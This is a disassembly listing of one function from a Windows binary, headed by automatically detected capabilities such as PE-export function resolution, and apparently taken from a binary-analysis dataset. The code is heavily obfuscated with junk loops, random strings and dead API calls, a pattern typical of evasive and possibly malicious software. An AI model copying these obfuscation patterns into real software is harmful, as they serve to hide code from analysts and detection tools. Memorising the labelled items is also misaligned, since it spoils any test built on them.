Function at 0x1002c8ca
Capabilities:
Accept command line arguments
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100646ca
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x8e8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x50], 4
cmp dword [ebp - 0x50], 0
je 0x1002c936
mov dword [ebp - 0x650], 0x8b108f82
mov eax, dword [ebp - 0x650]
add eax, 0x56108d2c
je 0x1002c92d
mov byte [ebp - 0x9a], 0
movzx eax, byte [ebp - 0x9a]
test eax, eax
je 0x1002c92b
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
jmp 0x1002c934
mov dword [ebp - 0x50], 0
jmp 0x1002c93c
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x50], 0xf
jmp 0x1002c94c
mov eax, dword [ebp - 0x50]
dec eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0xffffffe3
jl 0x1002cad1
mov dword [ebp - 0x498], 0xc17e5c28
mov dword [ebp - 0x4b8], 0x2632
mov dword [ebp - 0x560], str.bqoh_pcv_mylmyx_fsqd_xfupqfmbj_ointfgnff_mtgibcr_mcehglhz_xupb_eccohpi_fxx
cmp dword [ebp - 0x4b8], 0x263d
jle 0x1002ca5f
and dword [ebp - 0x120], 0
jmp 0x1002c99a
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x28ec
jge 0x1002ca5f
and dword [ebp - 0x1c8], 0
jmp 0x1002c9c0
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x84e
jge 0x1002ca5a
and dword [ebp - 0x224], 0
jmp 0x1002c9e6
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x7878
jge 0x1002ca55
and dword [ebp - 0x22c], 0
jmp 0x1002ca08
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x51f8
jge 0x1002ca53
mov ecx, dword [ebp - 0x224]
add ecx, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x1c8]
sar eax, cl
or eax, dword [ebp - 0x120]
cdq
mov dword [ebp - 0x56c], eax
mov dword [ebp - 0x568], edx
push dword [ebp - 0x568]
push dword [ebp - 0x56c]
mov ecx, 0x10081078
call fcn.10004aca
jmp 0x1002c9fb
jmp 0x1002c9d9
jmp 0x1002c9b3
jmp 0x1002c98d
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x1002ca79
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
and dword [ebp - 4], 0
cmp dword [ebp - 0x4b8], 0x2291
jge 0x1002ca99
mov edx, dword [ebp - 0x560]
mov ecx, 0x10081078
call fcn.10006f4f
jmp 0x1002cab5
or dword [ebp - 4], 0xffffffff
jmp 0x1002cabf
mov eax, dword [ebp - 0x498]
inc eax
mov dword [ebp - 0x498], eax
jmp 0x1002c945
cmp dword [ebp + 0x10], 0
jbe 0x1002d0a2
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1002d0a2
push 2
lea ecx, [ebp - 0x284]
call fcn.10004d6b
mov dword [ebp - 4], 2
mov dword [ebp - 0xc8], 0x37400631
mov dword [ebp - 0x684], 0xffffffff
mov dword [ebp - 0x3c0], 0
mov dword [ebp - 0x2b0], 0x6dcb0c7b
mov dword [ebp - 0x164], 0
jmp 0x1002cb3c
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 2
jge 0x1002cb5e
push dword [ebp - 0x164]
lea ecx, [ebp - 0x284]
call fcn.10004de4
mov dword [eax], 8
jmp 0x1002cb2f
push 0
lea ecx, [ebp - 0x284]
call fcn.10004de4
and dword [eax], 0
jmp 0x1002cb94
push 0
lea ecx, [ebp - 0x284]
call fcn.10004de4
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp - 0x4a0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x4a0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x284]
call fcn.10004de4
cmp dword [eax], 7
jl 0x1002cf38
mov dword [ebp - 0x298], 7
mov dword [ebp - 0x648], 1
xor eax, eax
je 0x1002cbed
mov dword [ebp - 0x638], 0xe7ad
cmp dword [ebp - 0x638], 0
je 0x1002cbda
jmp 0x1002cf38
cmp dword [ebp - 0x298], 0
je 0x1002cbe8
jmp 0x1002cf38
jmp 0x1002cf33
push 1
lea ecx, [ebp - 0x6a0]
call fcn.10004d6b
mov byte [ebp - 4], 3
mov dword [ebp - 0x128], 0
jmp 0x1002cc17
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 1
jge 0x1002cc39
push dword [ebp - 0x128]
lea ecx, [ebp - 0x6a0]
call fcn.10004de4
mov dword [eax], 0xffff
jmp 0x1002cc0a
mov dword [ebp - 0x2a0], 0x4d19
mov dword [ebp - 0x660], str.pibzyu_opmiuf_agnk_kohta_bchrwxhf_xsrubo_eqjbyej_dzkkagn_bhwtdgkn_hnire_ovaggk_mllmpd_slengod_pvxnpxqa
cmp dword [ebp - 0x2a0], 0x4d5b
jle 0x1002cd34
and dword [ebp - 0x16c], 0
jmp 0x1002cc73
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x110b
jge 0x1002cd34
and dword [ebp - 0x130], 0
jmp 0x1002cc99
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x70b3
jge 0x1002cd2f
and dword [ebp - 0x174], 0
jmp 0x1002ccbf
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x4066
jge 0x1002cd2a
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x130]
shl eax, cl
and eax, dword [ebp - 0x174]
cdq
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
push dword [ebp - 0x574]
push dword [ebp - 0x578]
lea ecx, [ebp - 0x8b0]
call fcn.10001ab5
pop ecx
pop ecx
mov dword [ebp - 0x640], eax
mov ecx, dword [ebp - 0x640]
call fcn.10004aaa
push eax
call fcn.1004c653
pop ecx
lea ecx, [ebp - 0x8b0]
call fcn.10004aa0
jmp 0x1002ccb2
jmp 0x1002cc8c
jmp 0x1002cc66
cmp dword [ebp - 0x648], 0
je 0x1002cec2
mov dword [ebp - 0x520], 0x9552
push 0
lea ecx, [ebp - 0x6a0]
call fcn.10004de4
cmp dword [eax], 0
jle 0x1002cd69
mov dword [ebp - 0x4a8], 1
jmp 0x1002cd70
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x4a8]
dec eax
test eax, eax
jle 0x1002cd87
mov dword [ebp - 0x4c0], 1
jmp 0x1002cd8e
and dword [ebp - 0x4c0], 0
cmp dword [ebp - 0x4c0], 0
jne 0x1002cda3
mov dword [ebp - 0x484], 1
jmp 0x1002cdaa
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x298]
imul eax, dword [ebp - 0x484]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x4c8], 0x6fbb
mov dword [ebp - 0x658], str.yuckw_apeulktky_pozadhvfv_qgrsupoim
cmp dword [ebp - 0x4c8], 0x732f
jle 0x1002ce57
and dword [ebp - 0x138], 0
jmp 0x1002cdf3
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x33f4
jge 0x1002ce57
and dword [ebp - 0x17c], 0
jmp 0x1002ce15
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x309a
jge 0x1002ce55
mov eax, dword [ebp - 0x138]
cdq
idiv dword [ebp - 0x17c]
mov eax, edx
cdq
mov dword [ebp - 0x584], eax
mov dword [ebp - 0x580], edx
push dword [ebp - 0x580]
push dword [ebp - 0x584]
mov ecx, 0x10081078
call fcn.10004aca
jmp 0x1002ce08
jmp 0x1002cde6
cmp dword [ebp - 0x520], 0
je 0x1002ce74
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x6a0]
call fcn.10004dc8
jmp 0x1002cb70
mov byte [ebp - 4], 4
cmp dword [ebp - 0x4c8], 0x6f55
jge 0x1002ce94
mov edx, dword [ebp - 0x658]
mov ecx, 0x10081078
call fcn.10006f4f
jmp 0x1002ceb0
mov dword [ebp - 4], 3
jmp 0x1002cec0
jmp 0x1002cedc
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x1002cedc
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov byte [ebp - 4], 6
cmp dword [ebp - 0x2a0], 0x49ec
jge 0x1002cef8
push dword [ebp - 0x660]
call fcn.1004c653
pop ecx
jmp 0x1002cf14
mov dword [ebp - 4], 3
jmp 0x1002cf24
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x6a0]
call fcn.10004dc8
jmp 0x1002cb70
mov esi, dword [ebp - 0x3c0]
push 1
lea ecx, [ebp - 0x284]
call fcn.10004de4
cmp dword [eax], esi
jg 0x1002cf5b
mov dword [ebp - 0x2a8], 1
jmp 0x1002cf62
and dword [ebp - 0x2a8], 0
mov eax, dword [ebp - 0x3c0]
cmp eax, dword [ebp - 0x2a8]
jg 0x1002cf7c
mov dword [ebp - 0x450], 1
jmp 0x1002cf83
and dword [ebp - 0x450], 0
push 0
lea ecx, [ebp - 0x284]
call fcn.10004de4
mov esi, dword [ebp - 0x450]
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x284]
call fcn.10004de4
cmp esi, dword [eax]
jle 0x1002cfb5
mov dword [ebp - 0x264], 1
jmp 0x1002cfbc
and dword [ebp - 0x264], 0
push 0
lea ecx, [ebp - 0x284]
call fcn.10004de4
mov ecx, dword [ebp - 0x264]
mov dword [eax], ecx
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x2b0], eax
mov eax, dword [ebp - 0x2b0]
imul eax, dword [ebp - 0x684]
test eax, eax
je 0x1002d00c
push 0
lea ecx, [ebp - 0x284]
call fcn.10004de4
cmp dword [eax], 0
je 0x1002d00c
mov dword [ebp - 0x3c8], 1
jmp 0x1002d013
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0xc8]
cmp eax, 0xe1f9
jl 0x1002d032
mov dword [ebp - 0x2b8], 1
jmp 0x1002d039
and dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0xc8]
imul eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0x2b8]
jne 0x1002d069
push 0
lea ecx, [ebp - 0x284]
call fcn.10004de4
cmp dword [eax], 0
jne 0x1002d069
and dword [ebp - 0x49c], 0
jmp 0x1002d073
mov dword [ebp - 0x49c], 1
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0xc8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x284]
call fcn.10004dc8
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.10028128
pop ecx
pop ecx
jmp 0x10030a82
mov dword [ebp - 0x2c0], 0x4db8
mov dword [ebp - 0x694], str.yandeszr_evobwmfy_jopwcjt_dkykfjhs_qej_jtqvgaw_ajgosukys_nzpbfv_oaqyhookz_vcmo_dlbdqq_bhip_mvn
cmp dword [ebp - 0x2c0], 0x50d1
jle 0x1002d1a3
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
and dword [ebp - 0x140], 0
jmp 0x1002d0e4
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x6b30
jge 0x1002d1a3
and dword [ebp - 0x184], 0
jmp 0x1002d10a
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x5b50
jge 0x1002d19e
and dword [ebp - 0x148], 0
jmp 0x1002d130
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x3337
jge 0x1002d199
mov eax, dword [ebp - 0x140]
sub eax, dword [ebp - 0x184]
add eax, dword [ebp - 0x148]
cdq
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
push dword [ebp - 0x58c]
push dword [ebp - 0x590]
lea ecx, [ebp - 0x8c8]
call fcn.10001ab5
pop ecx
pop ecx
mov dword [ebp - 0x68c], eax
mov ecx, dword [ebp - 0x68c]
call fcn.10004aaa
push eax
call fcn.1004c653
pop ecx
lea ecx, [ebp - 0x8c8]
call fcn.10004aa0
jmp 0x1002d123
jmp 0x1002d0fd
jmp 0x1002d0d7
mov dword [ebp - 4], 8
cmp dword [ebp - 0x2c0], 0x4bd3
jge 0x1002d1c2
push dword [ebp - 0x694]
call fcn.1004c653
pop ecx
jmp 0x1002d1de
or dword [ebp - 4], 0xffffffff
jmp 0x1002d1e8
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x3d0], 0xd3833037
mov dword [ebp - 0x730], 0xf98c
mov dword [ebp - 0x72c], 0xf98c
mov dword [ebp - 0x728], 0xf98c
mov dword [ebp - 0x724], 0xf98c
mov dword [ebp - 0x40], 0
jmp 0x1002d231
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffe9
je 0x1002d3ab
mov dword [ebp - 0x48], 0x1449c9fb
mov dword [ebp - 0x2e0], 0x3876a47c
cmp dword [ebp - 0x48], 0xb04800fa
jne 0x1002d261
mov dword [ebp - 0x3d8], 1
jmp 0x1002d268
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x40]
je 0x1002d282
mov dword [ebp - 0x2c8], 1
jmp 0x1002d289
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x458], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x458]
mov dword [ebp + eax - 0x730], ecx
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x2c8]
cmp dword [ebp - 0x458], eax
jg 0x1002d2ce
mov dword [ebp - 0x64c], 1
jmp 0x1002d2d5
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x744], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x48], 0x6735
jge 0x1002d2fc
mov dword [ebp - 0x2d0], 1
jmp 0x1002d303
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x2d0]
jl 0x1002d31a
mov dword [ebp - 0x2d8], 1
jmp 0x1002d321
and dword [ebp - 0x2d8], 0
mov eax, dword [ebp - 0x3d8]
cmp eax, dword [ebp - 0x2d8]
jne 0x1002d33b
mov dword [ebp - 0x4b0], 1
jmp 0x1002d342
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x2e0], eax
mov eax, dword [ebp - 0x2e0]
cmp eax, dword [ebp - 0x40]
jne 0x1002d365
mov dword [ebp - 0x3e0], 1
jmp 0x1002d36c
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x3e0]
sub eax, 0x607d19fa
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x87], 0
movzx eax, byte [ebp - 0x87]
test eax, eax
je 0x1002d3a6
push 0
push 0
push 0
push 0
push 0
push 1
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x1002d22a
mov dword [ebp - 0xd4], 0x2eb90da1
mov dword [ebp - 0x18c], 0
jmp 0x1002d3ce
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 1
jge 0x1002d3ea
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x688], 0xfffffff8
jmp 0x1002d3c1
mov dword [ebp - 0x310], 0x200e
mov dword [ebp - 0x534], str.kvatz_skymz_tnco_pkptkprvm_hrh_cyaspjvov
cmp dword [ebp - 0x310], 0x2116
jle 0x1002d4f6
and dword [ebp - 0x150], 0
jmp 0x1002d424
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x6a6c
jge 0x1002d4e6
and dword [ebp - 0x194], 0
jmp 0x1002d44a
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x1543
jge 0x1002d4e1
and dword [ebp - 0x118], 0
jmp 0x1002d470
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x280c
jge 0x1002d4dc
mov eax, dword [ebp - 0x150]
cdq
idiv dword [ebp - 0x194]
add edx, dword [ebp - 0x118]
mov eax, edx
cdq
mov dword [ebp - 0x59c], eax
mov dword [ebp - 0x598], edx
push dword [ebp - 0x598]
push dword [ebp - 0x59c]
lea ecx, [ebp - 0x850]
call fcn.10001ab5
pop ecx
pop ecx
mov dword [ebp - 0x60c], eax
mov ecx, dword [ebp - 0x60c]
call fcn.10004aaa
push eax
call fcn.1004c653
pop ecx
lea ecx, [ebp - 0x850]
call fcn.10004aa0
jmp 0x1002d463
jmp 0x1002d43d
jmp 0x1002d417
push 0x87a
push 0x394
call dword [sym.imp.GDI32.dll_SetMapMode]
cmp dword [ebp - 0xd4], 0
je 0x1002d6b1
mov dword [ebp - 0xdc], 0xfffffff9
mov dword [ebp - 0x19c], 0xfffffffd
mov dword [ebp - 0x2f8], 0xa5f27a41
mov dword [ebp - 0x308], 6
mov dword [ebp - 0x558], 0
mov byte [ebp - 0x6e], 0
movzx eax, byte [ebp - 0x6e]
test eax, eax
je 0x1002d556
push 0xa4b
push 0x1cef
push 0x164d
call dword [sym.imp.USER32.dll_EnableScrollBar]
cmp dword [ebp - 0xd4], 0
jne 0x1002d606
mov eax, dword [ebp - 0xdc]
cmp eax, dword [ebp - 0x19c]
jg 0x1002d57d
mov dword [ebp - 0x2e8], 1
jmp 0x1002d584
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0xd4]
imul eax, dword [ebp - 0x2e8]
cmp eax, 0x9884
jl 0x1002d5a4
mov dword [ebp - 0x460], 1
jmp 0x1002d5ab
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x460], eax
jle 0x1002d5c5
mov dword [ebp - 0x2f0], 1
jmp 0x1002d5cc
and dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x2f0], eax
je 0x1002d5e6
mov dword [ebp - 0x3e8], 1
jmp 0x1002d5ed
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x3e8]
sub eax, dword [ebp - 0xdc]
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 1
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x2f8], eax
mov eax, dword [ebp - 0x2f8]
cmp eax, dword [ebp - 0xdc]
jge 0x1002d62c
mov dword [ebp - 0x4a4], 1
jmp 0x1002d633
and dword [ebp - 0x4a4], 0
cmp dword [ebp - 0x4a4], 0xf18c
jl 0x1002d64b
mov dword [ebp - 0x300], 1
jmp 0x1002d652
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0xdc]
cmp eax, dword [ebp - 0x300]
jge 0x1002d66c
mov dword [ebp - 0x3f0], 1
jmp 0x1002d673
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0xd4]
jne 0x1002d693
cmp dword [ebp - 0x308], 0
jne 0x1002d693
and dword [ebp - 0x468], 0
jmp 0x1002d69d
mov dword [ebp - 0x468], 1
mov eax, dword [ebp - 0x308]
add eax, dword [ebp - 0x468]
mov dword [ebp - 0x558], eax
jmp 0x1002d6ce
mov dword [ebp - 0x52c], 0xc84b
mov eax, dword [ebp - 0x52c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x688], eax
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x310], 0x1f40
jge 0x1002d6ed
push dword [ebp - 0x534]
call fcn.1004c653
pop ecx
jmp 0x1002d709
or dword [ebp - 4], 0xffffffff
jmp 0x1002d713
cmp dword [ebp + 0x10], 0
jne 0x1002fa55
mov dword [ebp - 0x160], 1
mov dword [ebp - 0x794], 0x2d9ee1c9
mov dword [ebp - 0x758], 0xfffffff8
mov dword [ebp - 0x318], 0xea0a
mov dword [ebp - 0x28], 0
jmp 0x1002d755
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002d76b
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x8d8], 0xc59cdc34
jmp 0x1002d74e
mov dword [ebp - 0x28], 0
jmp 0x1002d77b
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002d791
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x8f8], 0xffffffff
jmp 0x1002d774
mov dword [ebp - 0x160], 0
jmp 0x1002d7aa
mov eax, dword [ebp - 0x160]
dec eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0xffffffe2
jge 0x1002d9fd
mov dword [ebp - 0x3f8], 0x51e2
mov dword [ebp - 0x53c], str.yzfpqs_lymf_utazjcq_kwcthl_wkqkufx_yvmzbi_dhjrslnz_cxfi_eqppsrnda_xjtslx
cmp dword [ebp - 0x3f8], 0x54b0
jle 0x1002d8bc
and dword [ebp - 0x200], 0
jmp 0x1002d7f1
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x6e7c
jge 0x1002d8b0
and dword [ebp - 0x168], 0
jmp 0x1002d817
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x4840
jge 0x1002d8ab
and dword [ebp - 0x1d0], 0
jmp 0x1002d83d
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x1bcd
jge 0x1002d8a6
mov eax, dword [ebp - 0x200]
xor eax, dword [ebp - 0x168]
or eax, dword [ebp - 0x1d0]
cdq
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5a4], edx
push dword [ebp - 0x5a4]
push dword [ebp - 0x5a8]
lea ecx, [ebp - 0x820]
call fcn.10001ab5
pop ecx
pop ecx
mov dword [ebp - 0x614], eax
mov ecx, dword [ebp - 0x614]
call fcn.10004aaa
push eax
call fcn.1004c653
pop ecx
lea ecx, [ebp - 0x820]
call fcn.10004aa0
jmp 0x1002d830
jmp 0x1002d80a
jmp 0x1002d7e4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 3
lea ecx, [ebp - 0x6e4]
call fcn.10004d6b
mov dword [ebp - 4], 0xc
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x3f8], 0x512d
jge 0x1002d8ec
push dword [ebp - 0x53c]
call fcn.1004c653
pop ecx
jmp 0x1002d908
mov dword [ebp - 4], 0xc
jmp 0x1002d918
mov dword [ebp - 0xbc], 0xfffffffe
mov dword [ebp - 0x170], 0
jmp 0x1002d93b
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 3
jge 0x1002d95d
push dword [ebp - 0x170]
lea ecx, [ebp - 0x6e4]
call fcn.10004de4
mov dword [eax], 0xfffffff7
jmp 0x1002d92e
mov dword [ebp - 0xbc], 2
jmp 0x1002d976
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x1002d9e9
mov dword [ebp - 0x228], 0x887cf2e5
mov dword [ebp - 0x228], 2
jmp 0x1002d9a2
mov eax, dword [ebp - 0x228]
dec eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jl 0x1002d9c5
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x6e4]
call fcn.10004de4
cmp dword [eax], 0
je 0x1002d9c3
jmp 0x1002d9c5
jmp 0x1002d995
mov byte [ebp - 0x6f], 0
movzx eax, byte [ebp - 0x6f]
test eax, eax
je 0x1002d9e7
push 0x2197
push 0x71f
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
jmp 0x1002d969
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6e4]
call fcn.10004dc8
jmp 0x1002d79d
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1001e61a
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0xd8], 0xfffffffb
mov dword [ebp - 0x760], 0
mov dword [ebp - 0x768], 0xfffffffc
mov dword [ebp - 0x26c], 6
mov dword [ebp - 0x408], 0xc34f1d4b
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x544], 0xfffffff9
mov dword [ebp - 0xd8], 0
jmp 0x1002da7a
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0xfffffffb
je 0x1002dc83
mov dword [ebp - 0x28c], 0x28fb
mov dword [ebp - 0x738], 0x31fbf685
mov dword [ebp - 0x320], 4
mov dword [ebp - 0x6d8], 1
mov dword [ebp - 0x6d4], 1
mov dword [ebp - 0x6d0], 1
mov dword [ebp - 0x6cc], 1
lea ecx, [ebp - 0x23d]
call fcn.100054df
push eax
lea eax, [ebp - 0x6c8]
push eax
lea eax, [ebp - 0x6d8]
push eax
lea ecx, [ebp - 0x7d8]
call fcn.1003367a
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x6f0]
call fcn.100335f0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x6d], 0
movzx eax, byte [ebp - 0x6d]
test eax, eax
je 0x1002db23
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
je 0x1002db63
mov esi, dword [ebp - 0x320]
push 0
lea ecx, [ebp - 0x6f0]
call fcn.10004de4
cmp esi, dword [eax]
jge 0x1002db4e
xor eax, eax
inc eax
je 0x1002db63
mov eax, 0x35b6
test eax, eax
je 0x1002db63
mov dword [ebp - 0x4b4], 1
jmp 0x1002db6a
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x4b4]
sub eax, dword [ebp - 0x320]
sub eax, 6
cmp eax, dword [ebp - 0x28c]
jg 0x1002db8d
mov dword [ebp - 0x400], 1
jmp 0x1002db94
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x400]
sub eax, dword [ebp - 0xd8]
cmp eax, 0xfffffffe
jle 0x1002dbb1
mov dword [ebp - 0x328], 1
jmp 0x1002dbb8
and dword [ebp - 0x328], 0
cmp dword [ebp - 0x328], 1
jne 0x1002dbcd
mov dword [ebp - 0x470], 1
jmp 0x1002dbd4
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x28c]
cmp eax, dword [ebp - 0x470]
jge 0x1002dbee
mov dword [ebp - 0x330], 1
jmp 0x1002dbf5
and dword [ebp - 0x330], 0
mov eax, dword [ebp - 0x330]
neg eax
cmp eax, 1
je 0x1002dc0e
mov dword [ebp - 0x274], 1
jmp 0x1002dc15
and dword [ebp - 0x274], 0
push 0
lea ecx, [ebp - 0x6f0]
call fcn.10004de4
mov ecx, dword [ebp - 0x274]
mov dword [eax], ecx
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x408], eax
mov eax, dword [ebp - 0x408]
cmp eax, dword [ebp - 0x28c]
jg 0x1002dc50
mov dword [ebp - 0x654], 1
jmp 0x1002dc57
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x740], eax
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x544], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6f0]
call fcn.10004dc8
jmp 0x1002da6d
mov dword [ebp - 0xa0], 1
mov dword [ebp - 0xa0], 0
jmp 0x1002dca6
mov eax, dword [ebp - 0xa0]
dec eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0xffffffe7
jle 0x1002df05
mov dword [ebp - 0x1d8], 0xdb22124f
mov dword [ebp - 0x4ac], 1
push 2
lea ecx, [ebp - 0x714]
call fcn.10004d6b
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x178], 0
jmp 0x1002dcf4
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 2
jge 0x1002dd16
push dword [ebp - 0x178]
lea ecx, [ebp - 0x714]
call fcn.10004de4
mov dword [eax], 0x58efa97
jmp 0x1002dce7
mov dword [ebp - 0x1d8], 0xfffffff2
jmp 0x1002dd2f
mov eax, dword [ebp - 0x1d8]
dec eax
mov dword [ebp - 0x1d8], eax
